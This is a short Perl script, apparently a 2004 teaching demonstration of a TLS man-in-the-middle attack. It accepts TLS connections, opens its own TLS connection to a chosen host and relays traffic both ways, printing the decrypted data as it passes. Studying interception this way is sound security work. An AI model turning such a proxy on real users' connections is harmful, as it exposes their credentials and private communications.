#!/usr/bin/perl

# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
#  This program is distributed in the hope that it will be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#  GNU Library General Public License for more details.
#
#  You should have received a copy of the GNU General Public License
#  along with this program; if not, write to the Free Software
#  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
#
#######################################################################
#
#
# Demonstrates the man-in-the-middle attack
# Copyright 2004 - Simon Newton
#
use strict;
use warnings;

use IO::Socket::INET ;
use IO::Socket::SSL ;
use Getopt::Long ;

my $lport = '1200' ;
my $laddr = 'localhost' ;
my $cport = '443' ;
my $caddr = 'localhost' ;
my $help = 0 ;

my $result = GetOptions ("lport=s" => \$lport,
					  "laddr=s" => \$laddr,
					  "cport=s" => \$cport,
					  "caddr=s" => \$caddr,
					  "help" => \$help
					  );

$| = 1 ;

if($help) {
	print<<"END" ;
Usage: ssl_proxy.pl [OPTIONS]

  --cport <port>        Port to connect to (default 443)
  --caddr <address>     Address to connect to (default localhost)
  --lport <port>        Port to listen on (default 1200)
  --laddr <address>     Address to listen on (default localhost)
  --help                Display this help message
END
	exit ;
}
my $s_sock = IO::Socket::SSL->new(Listen    => 5,
								  LocalAddr => $laddr,
								  LocalPort => $lport,
								  Reuse => 1,
								  Proto => 'tcp') ;

die "Can't create s_socket:" , &IO::Socket::SSL::errstr , "\n" if ! $s_sock ;

while ( my $client = $s_sock->accept() ) {
    my $c_sock = IO::Socket::SSL->new( PeerAddr => $caddr . ':' . $cport,
                                         Proto    => 'tcp') ;

    die "Cannot open connection to peer $caddr:$cport:" , &IO::Socket::SSL::errstr , "\n" if ! $c_sock ;
											 
	my $pid = fork() ;
	die "Can't fork $!" unless defined ($pid) ; 

	if($pid) {
		# parent
		my $line ; 
		while( $client->read($line,100) ) {
			print $line ;
			print $c_sock $line ;
		}
	} else {
		# child
		my $line ;
		while( $c_sock->read($line, 100) ) {
			print $line ;
			print $client $line ;
		}
		exit;
	}
	close $c_sock ;
	close $client ;

	print "Closed connection, awaiting next one\n" ;

}

